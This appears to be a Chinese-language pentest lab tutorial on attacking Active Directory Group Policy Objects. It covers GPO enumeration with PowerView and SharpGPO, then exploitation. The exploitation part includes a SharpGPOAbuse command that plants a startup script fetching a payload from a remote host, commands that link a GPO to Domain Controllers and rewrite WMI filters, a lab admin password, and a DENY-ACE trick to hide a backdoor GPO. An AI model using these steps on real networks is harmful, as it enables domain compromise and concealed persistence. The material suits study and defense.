Skip to main content

GPO的利用

在 AD 环境中进行渗透测试时,GPO 对我们来说会是一个具有吸引力的目标。如果我们对 GPO 具有修改权限或更高权限,我们就可以攻陷其他用户并获得远程代码执行或/和横向移动,以及持久化访问。 以下屏幕截图显示了 PROD 域 中的所有 GPO。 在开始枚举和利用之前,让我们熟悉一些有关 GPO 的术语。

概念与术语

组策略

组策略是 Windows 操作系统的一项功能,用于控制用户和计算机帐户的工作环境。 组策略在 Active Directory 环境中提供操作系统、应用程序和用户设置的集中管理和配置。

GPO

组策略对象 (GPO) 是一组设置,用于定义系统的配置及其对已定义用户组的行为方式。 GPO 可以链接到 Active Directory 中的站点、域或组织单位 (OU)。 它们可用于配置系统设置、安装软件以及将安全策略应用于这些容器中的用户和计算机。新建域中有两个默认 GPO:默认域控制器策略和默认域策略。 每个 GPO 都有一个唯一的 GUID。 例如,默认域控制器策略的 GUID 是 {6AC1786C-016F-11D2-945F-00C04fB984F9},每个活动目录域都将具有相同的值。 自定义 GPO AppLocker 的 GUID 是 {A11820F3-32B3-4598-B3EE-A04E7D9EFC52}。

OU

组织单位 (OU) 是一个容器对象,可以容纳其他 Active Directory 对象,例如用户帐户、计算机帐户和其他 OU。 OU 用于分层组织和管理 Active Directory 对象,并可用于委派对特定对象或对象组的管理控制。 child.htb.local中有5个OU; 它们分别是域控制器、组、服务帐户、SQL Server Tier 1、SQL Server Tier 2 和 Web Server。

GPO(组策略对象)链接可以连接到 Active Directory 容器,例如站点、域或 OU。 GPO 链接将 GPO 应用于它们链接到的容器内的对象。 GPO 链接可以启用或禁用、强制或不强制,并且可以使用链接顺序选项设置 GPO 处理的顺序。 一个 GPO 可以链接到多个 OU; 链接到 OU 的 GPO 将应用于该 OU 和所有子 OU 中的所有对象。 但是,如果链接已启用但未强制执行,则子 OU 可以阻止继承。

在我们的例子中,GPO AppLocker、LAPS 和 RunAsPPL 链接到 OU SQL Server Tier 1; 全部启用但不强制执行。 GPO AppLocker 链接到多个 OU:SQL Server Tier 1、SQL Server Tier 2 和 Web Server。 因此,域计算机 sql01、sql02 和 web01 会受到 AppLocker 的影响。默认域策略链接到域,默认域控制器策略链接到 OU 域控制器。

Security Filter安全筛选

安全过滤是指定哪些用户和组帐户应受 GPO 影响的过程。 这允许管理员将策略应用于特定用户组,而不是组织单位 (OU) 中的所有用户。 我们注意到 GPO 的默认安全过滤设置是 Authenticated Users 组。

WMI Filter筛选器

WMI 过滤是 GPO 的一项功能,它允许管理员仅在满足 Windows Management Instrumentation (WMI) 查询的条件时才应用 GPO,进一步限制哪些计算机和用户受到影响,图片来自 https://learn.microsoft。 com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v=ws.11) 解释过滤过程:

image.png

WMI 查询的语法与 SQL 查询非常相似; 例如,要过滤所有 64 位计算机(尽管所有计算机都满足此查询),WMI 查询应该是:


SELECT * FROM Win32_OperatingSystem WHERE OSArchitecture ="64-bit"


以域管理员身份登录到 Dc01,创建一个新的 WMI 过滤器示例,并将查询设置为 SELECT * FROM Win32_OperatingSystem WHERE OSArchitecture ="64-bit" 。

一个 GPO 一次只能分配 1 个 WMI 筛选器,并且域主体可以在其上具有 DACL。 因此,WMI 过滤可能成为攻击目标

SYSVOL

在 Dc01 上,SMB 共享位于 C:\windows\sysvol 的 SYSVOL。 默认情况下,它对于域中经过身份验证的用户是可读的。 SYSVOL 是 Windows Active Directory 环境中域控制器上的一个文件夹,其中包含所有 GPO 策略文件的服务器副本。 它们被复制到域中的所有其他域控制器。 SYSVOL 文件夹确保相同的组策略和登录脚本文件在域中的所有计算机上可用。

组策略偏好

组策略首选项 (GPP) 是 Active Directory 中组策略的一项功能,允许管理员配置和管理传统组策略设置未涵盖的设置。 它扩展了组策略。 组策略首选项使我们能够配置未包含在标准组策略设置中的设置,例如映射驱动器、计划任务和注册表设置。 比如我们加了一个GPP,它从我们的SMB服务器拉取一个文件,保存到C盘。

客户端扩展

根据 Microsoft https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v=ws.11) ,组策略首选项 是组策略客户端扩展 (CSE)。 属性 gPCMachineExtensionNames 指定组策略需要哪些 CSE。 根据截图,拉取文件的preference值为 [{00000000-0000-0000-0000-000000000000}{3BAE7E51-E3F4-41D0-853D-9BB9FD47605F}][{7150F9BF-48AD-4DA4-A49C-29EF4A836 9BA }{3BAE7E51-E3F4-41D0-853D-9BB9FD47605F}]
根据 https://gist.github.com/MyITGuy/92dcede89ab861ffb31cac9f284ffcc3 的脚本,翻译应该是 [{Core GPO Engine}{Preference Tool CSE GUID Files}][{Preference CSE GUID Files}{Preference Tool CSE GUID Files }]

 

枚举

我们有多种方式来枚举GPO; 收集足够的信息对于滥用 GPO 至关重要。

SYSVOL

考虑到 SYSVOL 包含所有 GPO 的策略文件,并且任何经过身份验证的域用户都可以访问此共享,我们可以检查文件和文件夹以枚举 GPO 信息。 访问UNC路径\\dc01.child.htb.local\sysvol\child.htb.local\policies,我们可以看到所有GPO的文件夹:

 

每个文件夹都是{GUID}的格式,因此,文件夹{A11820F3-32B3-4598-B3EE-A04E7D9EFC52}存储GPO AppLocker的策略文件。 GPO 文件夹中有 Machines 和 User 两个文件夹和一个 ini 文件 GPT.INI。 ini文件包含版本信息; 如果版本值增加,命令 gpupdate 将应用新设置。

我们在 Machine 文件夹中找到一个文件 Registry.pol; 它包含详细的 AppLocker 设置。

这样我们就可以通过读取GPO策略文件,比如RunAsPPL,了解其他GPO设置。

寻血猎犬

在 BloodHound 中,我们可以直观地找出一个领域对象与 GPO 之间的关系。 例如,计算机帐户Srv01$ 对GPO Audit 具有修改权限,但它受到多个GPO 的影响。

Adalanche (https://github.com/lkarlslund/Adalanche) 是另一个很棒的 Active Directory ACL 可视化工具和浏览器; 我们可以直接从 repo 下载最新版本的单个二进制文件。

PowerView

我们在前面的章节中已经谈到了枚举 GPO,但这次我们可能会关注更多的属性。 让我们检查一下 GPO AppLocker。

我们可以看到 GPO 的多个属性,例如显示名称、GUID、gpcmachineextensionnames、版本信息等。

要查找对 GPO 具有修改权限的标准用户,请执行 cmdlet:

SharpGPO

SharpGPO (https://github.com/Dliv3/SharpGPO) 是枚举和操作 GPO、OU、GPLink 和安全过滤器的优秀工具。 从repo下载源码,打开项目文件,将文件GPO.cs中199行到203行的代码片段注释掉。 否则,我们将得到一个异常。 编译它。

image.png

            /*    DirectoryEntry[] sites = GetSites();
                foreach (DirectoryEntry site in sites)
                {
                    links.Add(site, GetGPOByGpLink((string)site.Properties["gPLink"].Value));
                }*/

 

执行命令枚举所有 OU:

SharpGPO.exe --Action GetOU

 

执行命令枚举所有 GPO:

SharpGPO.exe --Action GetGPO

 

执行命令枚举所有 GPLink:


SharpGPO.exe --Action GetGPLink


  


并执行命令枚举特定 GPO 的安全过滤:


SharpGPO.exe --Action GetSecurityFiltering --gponame AppLocker

 

 

利用

根据前面的枚举,计算机账号Srv01对GPO Audit有修改权限; 因此,我们可以滥用不安全的权限来获得代码执行、横向移动和持久化。 我们也有多种方式来实现这些目标。

可写 GPO

从 Srv01 获取 SYSTEM 会话,并尝试将文件写入 AppLocker 和 Audit 的文件夹。 事实证明,Srv01$ 具有对 Audit 文件夹而不是 AppLocker 文件夹的写入权限。 因此,用户对 GPO 及其 SYSVOL 共享文件夹具有一致的权限。

考虑到 Srv01 没有足够的权限来操作 Dc01。 因此我们可以通过 LDAP 修改文件或更新域对象。

以前,我们在审计上添加了一个 GPP,以从我们的 SMB 服务器中提取一个文件,使用凭据 child\Administrator:Passw0rddc01 登录 Dc01,删除首选项,并将 GPO 审计链接到 SQL Server Tier 1。

此外,在 OU 域控制器上添加 Srv01 Link GPOs 权限。

这篇文章 (https://www.trustedsec.com/blog/weaponizing-group-policy-objects-access/?utm_content=140183152&utm_medium=social&utm_source=twitter&hss_channel=tw-403811306) 极大地说明了如何操作策略文件,以及 gPCMachineExtensionNames 属性 修改首选项。 例如,我们可以修改首选项以创建计划任务来执行我们的有效负载。 但是,要实现这一点,我们需要以正确的格式创建一个 XML 文件 ScheduledTasks.xml,找到所需的 gPCMachineExtensionNames 属性值 [{00000000-0000-0000-0000-000000000000}{79F92669-4224-476C-9C5C-6EFB4D87DF4A} {CAB54552-DEEA-4691-817E-ED4A4D1AFC72}][{AADCED64-746C-4633-A97C-D61349046527}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}],更新GPT.INI文件。 SharpGPOAbuse (https://github.com/FSecureLABS/SharpGPOAbuse) 或 SharpGPO 等工具已经为我们包装了这些步骤和操作。 我们可以使用以下命令运行 SharpGPOAbuse:

sharpgpoabuse.exe --AddComputerScript --ScriptName logon.bat --ScriptContents \"powershell iwr http://192.168.0.44:8080/pwn\" --GPOName \"Audit\

We can see the script is created successfully:

 

 

Srv01对GPO Audit有修改权限,但没有对整个GPO的修改权限,所以不能新建GPO。 考虑到 Srv01 可以将 GPO 链接到域控制器,我们可以攻破 Dc01。 要创建到 OU 域控制器的新 GPLink,命令应为:

SharpGPO.exe --Action NewGPLink --DN \"OU=Domain Controllers,DC=child,DC=htb,DC=local\" --GPOName Audit

查看当前的GPLink,Audit成功链接到Domain Controllers。

 

 

修改 WMI Filter

Rasta Mouse 发布了一个有趣的 WMI 过滤器滥用 (https://rastamouse.me/ous-and-gpos-and-wmi-filters-oh-my/)。 为了说明滥用情况,以域管理员身份登录 Dc01,打开 Active Directory 用户和计算机,新建一个 OU 资产,并将 SQL Server Tier 1、SQL Server Tier 2 和 Web Server 添加到资产中。 所以,Assets是父OU,added是子OU。 在移动这些 OU 之前,我们需要移除删除保护。

打开组策略管理,并授予 Srv01$ 对 WMI 筛选器示例的完全控制权限。 这样,Srv01 就可以修改 WMI Filters Example。

创建一个新的 GPO Global,将其链接到 GPO Global,然后应用 WMI Filter Example。 考虑到 Assets 是父 OU,它已启用。 因此计算机 Srv01、Srv02 和 Web01 受此 GPO 影响。

如下编辑 WMI 筛选器,因为所有计算机都是 64 位的。 因此,没有一台计算机实际应用了这个GPO。

SELECT * FROM Win32_OperatingSystem WHERE OSArchitecture ="32-bit" 

综上所述,Srv01可以修改应用于GPO Global的WMI Filter,但不能修改GPO。 让我们如下添加一个计算机首选项,然后返回到任何服务器的会话并检查新文件是否保存到 C 盘。更新GPO,查看本地文件; 该文件未保存,这是预期的,因为系统是 64 位架构。

使用 PowerView 枚举可写 WMI 过滤器; 该 cmdlet 应如下所示:

Get-DomainObjectAcl -SearchBase“CN=SOM,CN=WmiPolicy,CN=System,DC=child,DC=htb,DC=local”-LDAPFilter“(objectclass=msWMI-Som)”-ResolveGUIDs | ? { $_.ActiveDirectoryRights -like "*WriteProperty*" }


GUID 是 {F0BB405E-87C9-42E0-8384-13C79692A678}

计算新查询的长度,即 66。通过执行 cmdlet 修改 WMI 查询:

Set-DomainObject -Identity“{F0BB405E-87C9-42E0-8384-13C79692A678}”-Set @{ 'mswmi-parm2' = '1;3;10;66;WQL;root\CIMv2;SELECT * FROM Win32_OperatingSystem WHERE OSArchitecture = “64 位”' } - verbose

该文件从我们的 SMB 服务器中提取并保存在本地磁盘上。 滥用 WMI 过滤器是有效的。

隐藏持久化

我们提到 GPO 可能被滥用来持久访问。 为了更好地隐藏我们的坚持,文章 https://pentestmag.com/gpo-abuse-you-cant-see-me/ 演示了一个技巧。

假设我们已经通过滥用 GPO 破坏了域管理员或域控制器,我们可以登录 Dc01 来隐藏我们的持久性。 打开Active Directory Users and Computers,选择GPO Global的Security选项卡,添加一个DENY ACE,防止所有principals读写GPO

让我们比较之前和之后:

通过这种方式,我们可以隐藏我们的后门 GPO 并实现更安全的持久化。